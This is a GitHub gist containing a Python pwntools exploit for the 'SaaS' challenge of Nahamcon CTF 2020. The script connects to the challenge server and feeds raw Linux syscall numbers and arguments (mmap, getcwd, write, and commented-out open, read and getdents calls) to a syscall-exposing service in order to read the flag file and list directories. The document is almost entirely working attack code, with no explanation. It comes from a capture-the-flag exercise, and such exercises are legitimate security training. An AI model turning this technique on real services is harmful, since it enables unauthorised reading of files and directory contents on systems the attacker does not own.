Created
June 14, 2020 09:21
-
-
Save lionaneesh/c70e33200ff3681a38b2c8f67b0c6f61 to your computer and use it in GitHub Desktop.
SaaS from Nahamcon CTF 2020
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
r = remote('jh2i.com', 50016) | |
#r = process('./saas') | |
def syscall(a2): | |
print ("syscall", a2) | |
for a in a2: | |
txt = r.recv(timeout=2).strip() | |
print (txt.strip(), len(txt)) | |
r.sendline(str(a)) | |
def mmap(): | |
args = [9, 4096, 1024, 7, 34, 0, -1] | |
syscall(args) | |
def read(s = "/home/challenge/flag.txt\0"): | |
args = [0, 0, 0x10000, len(s), 0, 0, 0] | |
syscall(args) | |
r.sendline(s) | |
def write(addr = 0x10100, fd = 1): | |
args = [1, fd, addr, 0x400, 0,0,0] | |
syscall(args) | |
abc = r.recv(timeout=2) | |
print (abc.replace("\x00", ""), len(abc)) | |
def op3n(addr = 0x10000): | |
args = [2, addr, 0, 0, 0,0,0] | |
syscall(args) | |
def opendir(addr = 0x10000): | |
args = [2, addr, 65536, 0, 0, 0, 0] | |
syscall(args) | |
def readfile(addr=0x10100, fd = 6): | |
args = [0, fd, addr, 0x400, 0, 0, 0] | |
syscall(args) | |
def getdents(fd = 6, addr = 0x10100, count = 0x400): | |
args = [78, fd, addr, count, 0, 0,0] | |
syscall(args) | |
def getcwd(addr=0x10200): | |
args = [79, addr, 0x100, 0,0,0,0] | |
syscall(args) | |
raw_input("checkpoint") | |
mmap() | |
getcwd() | |
write() | |
#read() | |
#opendir() | |
#getdents() | |
#op3n() | |
#readfile() | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment